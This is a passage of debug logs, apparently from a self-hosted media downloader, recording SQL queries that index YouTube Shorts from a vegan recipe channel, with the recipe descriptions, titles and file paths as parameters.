14:57:46Z]] 20:31:09.682 [debug] QUERY OK source="sources" db=0.5ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.684 [debug] QUERY OK source="media_items" db=1.6ms idle=8.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-19 17:16:00Z], 1] 20:31:09.686 [debug] QUERY OK source="media_items" db=1.0ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you're in a rush then just buying a simple store bought vegan and gluten free pizza crust is sometimes the easiest and most delicious way to make your pizza. See how I like to top my crust as a vegan who also eats gluten free in this short. \n\nAlso, don't forget to check out the full vegan lunch recipe video here: https://youtu.be/mc2qhzMw9Cg\n\nTOFU RICOTTA PIZZA\n1 pizza crust (store-bought, homemade, gluten-free if needed)\nVegan shredded cheese\nAs many sliced veggies as you like :)\nFor the ricotta:\n1 block extra firm tofu\n3 tbsp nutritional yeast\njuice of 1 lemon\n1½ tsp italian seasoning\n2 cloves garlic\n2 tbsp extra virgin olive oil\n1 tsp sea salt and pepper to taste\nup to ¼ cup plant milk\n\n1. Crumble the tofu into large pieces into a food processor, and add the remaining ingredients. Blend on high-speed until it forms a spreadable creamy texture. Add more liquid as needed if it's having trouble blending.\n2. Spread about ½ cup of the tofu ricotta on your pizza crust, this will be your base instead of pizza sauce. Alternatively, you could spread pizza sauce first, then add the tofu ricotta on top :)\n3. Add any variety of veggies and pizza toppings that you like plus some vegan cheese and bake for approximately 14-18 minutes at 425°F until the crust is golden and the cheese is melted.\n\nENJOY THIS VIDEO? DON'T FORGET TO LIKE AND SUBSCRIBE!", "TOFU RICOTTA PIZZA 🍕 High-protein & plant-based!", "3207f1cd-a72e-470b-a691-e913881d6bc0", 1, [], 53, false, "XKgWt95Hw2A", "https://www.youtube.com/shorts/XKgWt95Hw2A", 152, "/downloads/downloads/alec/Steamy Vegan/2023-06-19 TOFU RICOTTA PIZZA 🍕 High-protein & plant-based!/TOFU RICOTTA PIZZA 🍕 High-protein & plant-based! [XKgWt95Hw2A].NA", false, false, true, 1, ~U[2023-06-19 17:16:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "If you're in a rush then just buying a simple store bought vegan and gluten free pizza crust is sometimes the easiest and most delicious way to make your pizza. See how I like to top my crust as a vegan who also eats gluten free in this short. \n\nAlso, don't forget to check out the full vegan lunch recipe video here: https://youtu.be/mc2qhzMw9Cg\n\nTOFU RICOTTA PIZZA\n1 pizza crust (store-bought, homemade, gluten-free if needed)\nVegan shredded cheese\nAs many sliced veggies as you like :)\nFor the ricotta:\n1 block extra firm tofu\n3 tbsp nutritional yeast\njuice of 1 lemon\n1½ tsp italian seasoning\n2 cloves garlic\n2 tbsp extra virgin olive oil\n1 tsp sea salt and pepper to taste\nup to ¼ cup plant milk\n\n1. Crumble the tofu into large pieces into a food processor, and add the remaining ingredients. Blend on high-speed until it forms a spreadable creamy texture. Add more liquid as needed if it's having trouble blending.\n2. Spread about ½ cup of the tofu ricotta on your pizza crust, this will be your base instead of pizza sauce. Alternatively, you could spread pizza sauce first, then add the tofu ricotta on top :)\n3. Add any variety of veggies and pizza toppings that you like plus some vegan cheese and bake for approximately 14-18 minutes at 425°F until the crust is golden and the cheese is melted.\n\nENJOY THIS VIDEO? DON'T FORGET TO LIKE AND SUBSCRIBE!", "TOFU RICOTTA PIZZA 🍕 High-protein & plant-based!", 1, 53, false, "XKgWt95Hw2A", "https://www.youtube.com/shorts/XKgWt95Hw2A", "/downloads/downloads/alec/Steamy Vegan/2023-06-19 TOFU RICOTTA PIZZA 🍕 High-protein & plant-based!/TOFU RICOTTA PIZZA 🍕 High-protein & plant-based! [XKgWt95Hw2A].NA", true, ~U[2023-06-19 17:16:00Z]] 20:31:09.686 [debug] QUERY OK source="sources" db=0.6ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.688 [debug] QUERY OK source="media_items" db=1.8ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-17 14:32:00Z], 1] 20:31:09.691 [debug] QUERY OK source="media_items" db=1.2ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan ramen recipe is going to change your life! It's creamy, dreamy, steamy, gleamy and oh so sunbeamy. It's also gluten free and vegan so it's pretty much guilt free.\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nEnjoy this video? Please LIKE it and SUBSCRIBE to this channel for more vegan and gluten free recipes! 🤩\n\nCREAMY MISO MUSHROOM RAMEN - serves 2 to 4\n1 lb. baby bella mushrooms, sliced\n1 medium crown of broccoli, chopped into small florets\n4 cloves garlic, minced\n2 inch thumb of ginger, grated\n1 bundle of green onions chopped, white and green parts separated\n1½ tbsp miso paste\n1½ tbsp gochujang\n1½ tbsp soy sauce/tamari\n4 cups hot veggie/mushroom broth\n1 can coconut milk\n1 tbsp sesame oil\nYour choice of ramen noodles, cooked according to directions\n\n1. Heat 1 tbsp sesame oil in a medium stockpot. Add the ginger, garlic and light parts of the green onion and cook for 2 to 3 minutes until slightly softened and fragrant.\n2. Add the mushrooms and broccoli, stir and cook for 5 more minutes until the broccoli is brighter green and mushrooms are shrinking.\n3. Add the miso paste, gochujang and soy sauce and stir to combine. Then pour in the hot veggie broth and stir to combine. Cover with the lid and bring to a boil.\n4. Turn the heat down to medium and add the coconut milk and remaining green onion, stirring to combine, and allow the coconut milk to melt into the broth for about 3 to 4 minutes.\n5. Serve over your cooked ramen noodles and top with additional green onion, optional edamame or other protein of your choice (tofu, soy curls).", "Vegan miso mushroom ramen 🍜🤤❤️", "c6bcd545-0c6b-4a4c-acab-b2abf95e83c3", 1, [], 15, false, "w7b3PP6kTzM", "https://www.youtube.com/shorts/w7b3PP6kTzM", 153, "/downloads/downloads/alec/Steamy Vegan/2023-06-17 Vegan miso mushroom ramen 🍜🤤❤️/Vegan miso mushroom ramen 🍜🤤❤️ [w7b3PP6kTzM].NA", false, false, true, 2, ~U[2023-06-17 14:32:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This vegan ramen recipe is going to change your life! It's creamy, dreamy, steamy, gleamy and oh so sunbeamy. It's also gluten free and vegan so it's pretty much guilt free.\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nEnjoy this video? Please LIKE it and SUBSCRIBE to this channel for more vegan and gluten free recipes! 🤩\n\nCREAMY MISO MUSHROOM RAMEN - serves 2 to 4\n1 lb. baby bella mushrooms, sliced\n1 medium crown of broccoli, chopped into small florets\n4 cloves garlic, minced\n2 inch thumb of ginger, grated\n1 bundle of green onions chopped, white and green parts separated\n1½ tbsp miso paste\n1½ tbsp gochujang\n1½ tbsp soy sauce/tamari\n4 cups hot veggie/mushroom broth\n1 can coconut milk\n1 tbsp sesame oil\nYour choice of ramen noodles, cooked according to directions\n\n1. Heat 1 tbsp sesame oil in a medium stockpot. Add the ginger, garlic and light parts of the green onion and cook for 2 to 3 minutes until slightly softened and fragrant.\n2. Add the mushrooms and broccoli, stir and cook for 5 more minutes until the broccoli is brighter green and mushrooms are shrinking.\n3. Add the miso paste, gochujang and soy sauce and stir to combine. Then pour in the hot veggie broth and stir to combine. Cover with the lid and bring to a boil.\n4. Turn the heat down to medium and add the coconut milk and remaining green onion, stirring to combine, and allow the coconut milk to melt into the broth for about 3 to 4 minutes.\n5. Serve over your cooked ramen noodles and top with additional green onion, optional edamame or other protein of your choice (tofu, soy curls).", "Vegan miso mushroom ramen 🍜🤤❤️", 1, 15, false, "w7b3PP6kTzM", "https://www.youtube.com/shorts/w7b3PP6kTzM", "/downloads/downloads/alec/Steamy Vegan/2023-06-17 Vegan miso mushroom ramen 🍜🤤❤️/Vegan miso mushroom ramen 🍜🤤❤️ [w7b3PP6kTzM].NA", true, ~U[2023-06-17 14:32:00Z]] 20:31:09.692 [debug] QUERY OK source="sources" db=0.6ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.694 [debug] QUERY OK source="media_items" db=2.0ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-15 14:20:00Z], 1] 20:31:09.697 [debug] QUERY OK source="media_items" db=2.1ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["VEGAN BBQ CHICK'N CAESAR WRAP! So easy, delicious and full of plant-based goodness. \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nBBQ CHICK'N CAESAR WRAPS\n1 tortilla/wrap\n¾ cooked/air fried soy curls, tossed in bbq sauce\n1 tbsp vegan caesar dressing (watch this video for recipe: https://youtu.be/noBiufrdqRs)\ncucumber slices\nromaine lettuce with caesar dressing\nvegan mozzarella cheese shreds\n\n1. Warm your wrap in the microwave for 20 seconds to help it be more soft and pliable (especially for GF!)\n2. Spread the caesar dressing on the bottom, followed by the soy curls, cucumber, caesar salad and mozza cheese and roll up into a wrap.\n3. Optional: toast in the wrap in a hot skillet for 2 minutes on both sides for crunchy texture.\n\nALL of the recipes I do are vegan AND gluten-free! So make sure to subscribe if you're interested in either 😉", "VEGAN BBQ CHICK'N CAESAR WRAP / Easy 10 minute meal", "78d5e2c1-ac1d-4490-b632-f1650653d6b2", 1, [], 36, false, "RBe4nUwoFU8", "https://www.youtube.com/shorts/RBe4nUwoFU8", 154, "/downloads/downloads/alec/Steamy Vegan/2023-06-15 VEGAN BBQ CHICK'N CAESAR WRAP ⧸ Easy 10 minute meal/VEGAN BBQ CHICK'N CAESAR WRAP ⧸ Easy 10 minute meal [RBe4nUwoFU8].NA", false, false, true, 1, ~U[2023-06-15 14:20:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "VEGAN BBQ CHICK'N CAESAR WRAP! So easy, delicious and full of plant-based goodness. \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nBBQ CHICK'N CAESAR WRAPS\n1 tortilla/wrap\n¾ cooked/air fried soy curls, tossed in bbq sauce\n1 tbsp vegan caesar dressing (watch this video for recipe: https://youtu.be/noBiufrdqRs)\ncucumber slices\nromaine lettuce with caesar dressing\nvegan mozzarella cheese shreds\n\n1. Warm your wrap in the microwave for 20 seconds to help it be more soft and pliable (especially for GF!)\n2. Spread the caesar dressing on the bottom, followed by the soy curls, cucumber, caesar salad and mozza cheese and roll up into a wrap.\n3. Optional: toast in the wrap in a hot skillet for 2 minutes on both sides for crunchy texture.\n\nALL of the recipes I do are vegan AND gluten-free! So make sure to subscribe if you're interested in either 😉", "VEGAN BBQ CHICK'N CAESAR WRAP / Easy 10 minute meal", 1, 36, false, "RBe4nUwoFU8", "https://www.youtube.com/shorts/RBe4nUwoFU8", "/downloads/downloads/alec/Steamy Vegan/2023-06-15 VEGAN BBQ CHICK'N CAESAR WRAP ⧸ Easy 10 minute meal/VEGAN BBQ CHICK'N CAESAR WRAP ⧸ Easy 10 minute meal [RBe4nUwoFU8].NA", true, ~U[2023-06-15 14:20:00Z]] 20:31:09.698 [debug] QUERY OK source="sources" db=1.3ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.701 [debug] QUERY OK source="media_items" db=2.1ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-12 23:45:00Z], 1] 20:31:09.702 [debug] QUERY OK source="media_items" db=0.6ms idle=9.2ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["EPIC Pesto Pasta Salad! Vegan, gluten-free #shorts", "4ff7789c-2718-43db-8101-1ae2d5af3af9", 1, [], 50, false, "Xv4yH3BKLEQ", "https://www.youtube.com/shorts/Xv4yH3BKLEQ", 155, "/downloads/downloads/alec/Steamy Vegan/2023-06-12 EPIC Pesto Pasta Salad! Vegan, gluten-free #shorts/EPIC Pesto Pasta Salad! Vegan, gluten-free #shorts [Xv4yH3BKLEQ].NA", false, false, true, 1, ~U[2023-06-12 23:45:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "EPIC Pesto Pasta Salad! Vegan, gluten-free #shorts", 1, 50, false, "Xv4yH3BKLEQ", "https://www.youtube.com/shorts/Xv4yH3BKLEQ", "/downloads/downloads/alec/Steamy Vegan/2023-06-12 EPIC Pesto Pasta Salad! Vegan, gluten-free #shorts/EPIC Pesto Pasta Salad! Vegan, gluten-free #shorts [Xv4yH3BKLEQ].NA", true, ~U[2023-06-12 23:45:00Z]] 20:31:09.703 [debug] QUERY OK source="sources" db=0.7ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.705 [debug] QUERY OK source="media_items" db=1.9ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-11 14:23:01Z], 1] 20:31:09.706 [debug] QUERY OK source="media_items" db=1.1ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["RED LENTIL WAFFLES 🧇 15g protein per waffle! 🧇 No lentil flavour detected, just soft and crispy deliciousness! 🤤 \n\n½ cup dry red lentils\n1 cup soy milk\n1 medjool date\n1 tsp vanilla extract\n½ tsp cinnamon\n1 tsp baking powder\nPinch of salt\n\n1. Add all the ingredients, minus the cinnamon and baking powder, to a blender jug, stir and let soak in the fridge for 3 hours up to overnight.\n2. Add the cinnamon and baking powder, stir and then blend on high speed until a somewhat thick batter forms.\n3. Heat a waffle iron and lightly spray with oil. Add half the batter for 1 waffle and let cook for 8 to 10 minutes, until golden, crispy and fragrant.\n4. Serve with your favourite toppings and enjoy!\n\nSAVE THIS RECIPE FOR TOMORROW! And follow me for more plant-based inspiration ✨ 🌱 \n\n#wafflesarelife #veganwaffle #redlentil #highproteinvegan #plantstrongvegan #eatyourselfhealthy #veganbreakfasts #steamyvegankitchen #steamyvegan", "HIGH PROTEIN RED LENTIL WAFFLES 🧇 💪🏻🌱", "c7cbd713-c27b-4c7e-84c0-f986b4eb6f9e", 1, [], 34, false, "MfN5Sa5xZc8", "https://www.youtube.com/shorts/MfN5Sa5xZc8", 156, "/downloads/downloads/alec/Steamy Vegan/2023-06-11 HIGH PROTEIN RED LENTIL WAFFLES 🧇 💪🏻🌱/HIGH PROTEIN RED LENTIL WAFFLES 🧇 💪🏻🌱 [MfN5Sa5xZc8].NA", false, false, true, 1, ~U[2023-06-11 14:23:01Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "RED LENTIL WAFFLES 🧇 15g protein per waffle! 🧇 No lentil flavour detected, just soft and crispy deliciousness! 🤤 \n\n½ cup dry red lentils\n1 cup soy milk\n1 medjool date\n1 tsp vanilla extract\n½ tsp cinnamon\n1 tsp baking powder\nPinch of salt\n\n1. Add all the ingredients, minus the cinnamon and baking powder, to a blender jug, stir and let soak in the fridge for 3 hours up to overnight.\n2. Add the cinnamon and baking powder, stir and then blend on high speed until a somewhat thick batter forms.\n3. Heat a waffle iron and lightly spray with oil. Add half the batter for 1 waffle and let cook for 8 to 10 minutes, until golden, crispy and fragrant.\n4. Serve with your favourite toppings and enjoy!\n\nSAVE THIS RECIPE FOR TOMORROW! And follow me for more plant-based inspiration ✨ 🌱 \n\n#wafflesarelife #veganwaffle #redlentil #highproteinvegan #plantstrongvegan #eatyourselfhealthy #veganbreakfasts #steamyvegankitchen #steamyvegan", "HIGH PROTEIN RED LENTIL WAFFLES 🧇 💪🏻🌱", 1, 34, false, "MfN5Sa5xZc8", "https://www.youtube.com/shorts/MfN5Sa5xZc8", "/downloads/downloads/alec/Steamy Vegan/2023-06-11 HIGH PROTEIN RED LENTIL WAFFLES 🧇 💪🏻🌱/HIGH PROTEIN RED LENTIL WAFFLES 🧇 💪🏻🌱 [MfN5Sa5xZc8].NA", true, ~U[2023-06-11 14:23:01Z]] 20:31:09.707 [debug] QUERY OK source="sources" db=0.5ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.709 [debug] QUERY OK source="media_items" db=1.7ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-25 16:25:56Z], 1] 20:31:09.710 [debug] QUERY OK source="media_items" db=0.5ms idle=6.2ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["All hail this EPIC Caesar dressing 🙌🏼🥗#shorts", "2521be88-e06c-42c4-8928-e6478ed6fa0f", 1, [], 58, false, "rFBUEHfZ9NU", "https://www.youtube.com/shorts/rFBUEHfZ9NU", 157, "/downloads/downloads/alec/Steamy Vegan/2023-05-25 All hail this EPIC Caesar dressing 🙌🏼🥗#shorts/All hail this EPIC Caesar dressing 🙌🏼🥗#shorts [rFBUEHfZ9NU].NA", false, false, true, 1, ~U[2023-05-25 16:25:56Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "All hail this EPIC Caesar dressing 🙌🏼🥗#shorts", 1, 58, false, "rFBUEHfZ9NU", "https://www.youtube.com/shorts/rFBUEHfZ9NU", "/downloads/downloads/alec/Steamy Vegan/2023-05-25 All hail this EPIC Caesar dressing 🙌🏼🥗#shorts/All hail this EPIC Caesar dressing 🙌🏼🥗#shorts [rFBUEHfZ9NU].NA", true, ~U[2023-05-25 16:25:56Z]] 20:31:09.710 [debug] QUERY OK source="sources" db=0.4ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.712 [debug] QUERY OK source="media_items" db=1.9ms idle=4.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-23 15:30:03Z], 1] 20:31:09.713 [debug] QUERY OK source="media_items" db=0.6ms idle=5.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This strawberry rhubarb crumble is by far my favourite dessert recipe ever. You can easily make it gluten free by using GF oats and with the ingredients in this recipe it's naturally vegan. The perfect dish for any party or get together and it's a super easy and quick recipe to make.\n\nCheck out the full recipe video here: https://youtu.be/DgaPvGrZJq8\n\nDon't forget to subscribe so you don't miss all of my weekly recipes and content!\n\nMusic by 8thDimensions - Shining - https://thmatc.co/?l=8005D5BA", "Crumbles: the GREATEST DESSERT of ALL TIME? 🤤❤️🔥#shorts", "3bdb63bc-f901-4dab-b9de-e394bb4431cb", 1, [], 38, false, "MLxMq3DPHSM", "https://www.youtube.com/shorts/MLxMq3DPHSM", 158, "/downloads/downloads/alec/Steamy Vegan/2023-05-23 Crumbles: the GREATEST DESSERT of ALL TIME? 🤤❤️🔥#shorts/Crumbles: the GREATEST DESSERT of ALL TIME? 🤤❤️🔥#shorts [MLxMq3DPHSM].NA", false, false, true, 1, ~U[2023-05-23 15:30:03Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This strawberry rhubarb crumble is by far my favourite dessert recipe ever. You can easily make it gluten free by using GF oats and with the ingredients in this recipe it's naturally vegan. The perfect dish for any party or get together and it's a super easy and quick recipe to make.\n\nCheck out the full recipe video here: https://youtu.be/DgaPvGrZJq8\n\nDon't forget to subscribe so you don't miss all of my weekly recipes and content!\n\nMusic by 8thDimensions - Shining - https://thmatc.co/?l=8005D5BA", "Crumbles: the GREATEST DESSERT of ALL TIME? 🤤❤️🔥#shorts", 1, 38, false, "MLxMq3DPHSM", "https://www.youtube.com/shorts/MLxMq3DPHSM", "/downloads/downloads/alec/Steamy Vegan/2023-05-23 Crumbles: the GREATEST DESSERT of ALL TIME? 🤤❤️🔥#shorts/Crumbles: the GREATEST DESSERT of ALL TIME? 🤤❤️🔥#shorts [MLxMq3DPHSM].NA", true, ~U[2023-05-23 15:30:03Z]] 20:31:09.715 [debug] QUERY OK source="sources" db=0.5ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.717 [debug] QUERY OK source="media_items" db=1.5ms idle=5.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-20 15:41:42Z], 1] 20:31:09.718 [debug] QUERY OK source="media_items" db=0.8ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I love vegan egg salad and it's the perfect protein packed lunch or afternoon snack. This vegan egg salad recipe uses tofu and black salt to make it the perfect copycat.\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nVEGAN EGG SALAD 